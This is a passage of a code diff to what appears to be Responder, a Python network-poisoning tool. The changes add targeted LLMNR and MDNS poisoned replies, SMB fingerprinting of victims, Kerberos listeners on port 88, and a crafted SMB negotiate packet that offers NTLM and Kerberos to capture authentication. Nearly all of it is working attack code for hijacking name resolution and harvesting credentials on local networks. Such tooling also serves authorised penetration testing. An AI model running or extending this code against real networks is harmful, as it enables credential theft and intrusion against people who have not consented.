+                                 try:
+                                    Finger = RunSmbFinger((self.client_address[0],445))
+                                    print '[+] OsVersion is:%s'%(Finger[0])
+                                    print '[+] ClientVersion is :%s'%(Finger[1])
+                                    logging.warning('[+] OsVersion is:%s'%(Finger[0]))
+                                    logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
+                                 except Exception:
+                                    logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
+                                    pass
+
+                           if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
                               buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
                               buff.calculate()
                               for x in range(1):
@@ -1109,10 +1327,13 @@ class LLMNR(BaseRequestHandler):
                                     logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
                                     pass
                      else:
+                        pass
+
+            if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False:
                if data[2:4] == "\x00\x00":
-                  if Analyze(AnalyzeMode) == False:
                      if Parse_IPV6_Addr(data):
                         Name = Parse_LLMNR_Name(data)
+                        if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
                            buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
                            buff.calculate()
                            Message =  "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
@@ -1131,6 +1352,29 @@ class LLMNR(BaseRequestHandler):
                               except Exception:
                                  logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
                                  pass
+                        if RespondToSpecificName(RespondToName) == False:
+                           buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
+                           buff.calculate()
+                           Message =  "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
+                           for x in range(1):
+                              soc.sendto(str(buff), self.client_address)
+                           if PrintLLMNRNBTNS(Log2Filename,Message):
+                              print Message
+                              logger2.warning(Message)
+                           if Is_Finger_On(Finger_On_Off):
+                              try:
+                                 Finger = RunSmbFinger((self.client_address[0],445))
+                                 print '[+] OsVersion is:%s'%(Finger[0])
+                                 print '[+] ClientVersion is :%s'%(Finger[1])
+                                 logging.warning('[+] OsVersion is:%s'%(Finger[0]))
+                                 logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
+                              except Exception:
+                                 logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
+                                 pass
+                        else:
+                           pass
+            else:
+               pass
         except:
            raise
 
@@ -1254,7 +1498,18 @@ class MDNS(BaseRequestHandler):
                print '[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data))
                logging.warning('[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data)))
 
+         if RespondToSpecificHost(RespondTo):
             if Analyze(AnalyzeMode) == False:
+               if RespondToIPScope(RespondTo, self.client_address[0]):
+                  if Parse_IPV6_Addr(data):
+                     print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data))
+                     logging.warning('MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)))
+                     Name = Poisoned_MDNS_Name(data)
+                     MDns = MDNSAns(AnswerName = Name)
+                     MDns.calculate()
+                     soc.sendto(str(MDns),(MADDR,MPORT))
+
+         if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False:
             if Parse_IPV6_Addr(data):
                print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data))
                logging.warning('MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)))
@@ -2073,6 +2328,13 @@ def Is_SMB_On(SMB_On_Off):
     if SMB_On_Off == "OFF":
        return False
 
+#Function name self-explanatory
+def Is_Kerberos_On(Krb_On_Off):
+    if Krb_On_Off == "ON":
+       return thread.start_new(serve_thread_udp,('', 88,KerbUDP)),thread.start_new(serve_thread_tcp,('', 88, KerbTCP))
+    if Krb_On_Off == "OFF":
+       return False
+
 #Function name self-explanatory
 def Is_SQL_On(SQL_On_Off):
     if SQL_On_Off == "ON":
@@ -2228,10 +2490,12 @@ def serve_thread_SSL(host, port, handler):
 
 def main():
     try:
+      num_thrd = 1
       Is_FTP_On(FTP_On_Off)
       Is_HTTP_On(On_Off)
       Is_HTTPS_On(SSL_On_Off)
       Is_WPAD_On(WPAD_On_Off)
+      Is_Kerberos_On(Krb_On_Off)
       Is_SMB_On(SMB_On_Off)
       Is_SQL_On(SQL_On_Off)
       Is_LDAP_On(LDAP_On_Off)
@@ -2243,8 +2507,11 @@ def main():
       thread.start_new(serve_thread_udp,('', 138,Browser))
       ## Poisoner loaded by default, it's the purpose of this tool...
       thread.start_new(serve_thread_udp_MDNS,('', 5353,MDNS))   #MDNS
+      thread.start_new(serve_thread_udp,('', 88, KerbUDP))
       thread.start_new(serve_thread_udp,('', 137,NB))           #NBNS
       thread.start_new(serve_thread_udp_LLMNR,('', 5355, LLMNR)) #LLMNR
+      while num_thrd > 0:
+         pass
     except KeyboardInterrupt:
       exit()
 
@@ -2253,10 +2520,3 @@ if __name__ == '__main__':
         main()
     except:
         raise
-    raw_input()
-
-
-
-
-
-

SMBPackets.py

@@ -107,7 +107,7 @@ class SMBNegoAnsLM(Packet):
         self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
         self.fields["Keylength"] = struct.pack("<h",len(self.fields["Key"]))[0]
 ##################################################################################
-#SMB Negotiate Answer LM packet.
+#SMB Negotiate Answer ESS NTLM only packet.
 class SMBNegoAns(Packet):
     fields = OrderedDict([
         ("Wordcount",    "\x11"),
@@ -149,8 +149,6 @@ class SMBNegoAns(Packet):
         ("NegHintFinalASNId",         "\x1b"), 
         ("NegHintFinalASNLen",        "\x15"),
         ("NegHintFinalASNStr",        "server2008$@SMB.LOCAL"),
-##  END
-
     ])
 
     def calculate(self):
@@ -179,7 +177,86 @@ class SMBNegoAns(Packet):
         self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
 
 ################################################################################
+#SMB Negotiate Answer ESS NTLM and Kerberos packet.
+class SMBNegoKerbAns(Packet):
+    fields = OrderedDict([
+        ("Wordcount",                "\x11"),
+        ("Dialect",                  ""),
+        ("Securitymode",             "\x03"),
+        ("MaxMpx",                   "\x32\x00"),
+        ("MaxVc",                    "\x01\x00"),
+        ("MaxBuffSize",              "\x04\x41\x00\x00"),
+        ("MaxRawBuff",               "\x00\x00\x01\x00"),
+        ("SessionKey",               "\x00\x00\x00\x00"),
+        ("Capabilities",             "\xfd\xf3\x01\x80"),
+        ("SystemTime",               "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"),
+        ("SrvTimeZone",               "\xf0\x00"),
+        ("KeyLen",                    "\x00"),
+        ("Bcc",                       "\x57\x00"),
+        ("Guid",                      "\xc8\x27\x3d\xfb\xd4\x18\x55\x4f\xb2\x40\xaf\xd7\x61\x73\x75\x3b"),
+        ("InitContextTokenASNId",     "\x60"),
+        ("InitContextTokenASNLen",    "\x5b"),
+        ("ThisMechASNId",             "\x06"),
+        ("ThisMechASNLen",            "\x06"),
+        ("ThisMechASNStr",            "\x2b\x06\x01\x05\x05\x02"),
+        ("SpNegoTokenASNId",          "\xA0"),
+        ("SpNegoTokenASNLen",         "\x51"),
+        ("NegTokenASNId",             "\x30"),
+        ("NegTokenASNLen",            "\x4f"),
+        ("NegTokenTag0ASNId",         "\xA0"),
+        ("NegTokenTag0ASNLen",        "\x30"),
+        ("NegThisMechASNId",          "\x30"),
+        ("NegThisMechASNLen",         "\x2e"),
+        ("NegThisMech1ASNId",         "\x06"),
+        ("NegThisMech1ASNLen",        "\x09"),
+        ("NegThisMech1ASNStr",        "\x2a\x86\x48\x82\xf7\x12\x01\x02\x02"),
+        ("NegThisMech2ASNId",         "\x06"),
+        ("NegThisMech2ASNLen",        "\x09"),
+        ("NegThisMech2ASNStr",        "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02"),
+        ("NegThisMech3ASNId",         "\x06"),
+        ("NegThisMech3ASNLen",        "\x0a"),
+        ("NegThisMech3ASNStr",        "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02\x03"),
+        ("NegThisMech4ASNId",         "\x06"),
+        ("NegThisMech4ASNLen",        "\x09"),
+        ("NegThisMech4ASNStr",        "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
+        ("NegTokenTag3ASNId",         "\xA3"),
+        ("NegTokenTag3ASNLen",        "\x1b"),
+        ("NegHintASNId",              "\x30"),
+        ("NegHintASNLen",             "\x19"),
+        ("NegHintTag0ASNId",          "\xa0"),
+        ("NegHintTag0ASNLen",         "\x17"),
+        ("NegHintFinalASNId",         "\x1b"), 
+        ("NegHintFinalASNLen",        "\x15"),
+        ("NegHintFinalASNStr",        "server2008$@SMB.LOCAL"),
+    ])
 
+    def calculate(self):
+
+        CompleteBCCLen1 =  str(self.fields["Guid"])+str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
+
+        AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
+
+        AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
+
+        MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])
+
+        Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
+
+        self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen1))
+        self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(AsnLenStart))
+        self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"])))
+        self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2))
+        self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2)
+        self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen))
+        self.fields["NegThisMechASNLen"] = struct.pack("<B", len(MechTypeLen)-2)
+        self.fields["NegThisMech1ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech1ASNStr"])))
+        self.fields["NegThisMech2ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech2ASNStr"])))
+        self.fields["NegThisMech3ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech3ASNStr"])))
+        self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"])))
+        self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len))
+        self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2)
+        self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
+################################################################################
 class SMBSession1Data(Packet):
     fields = OrderedDict([
         ("Wordcount",             "\x04"),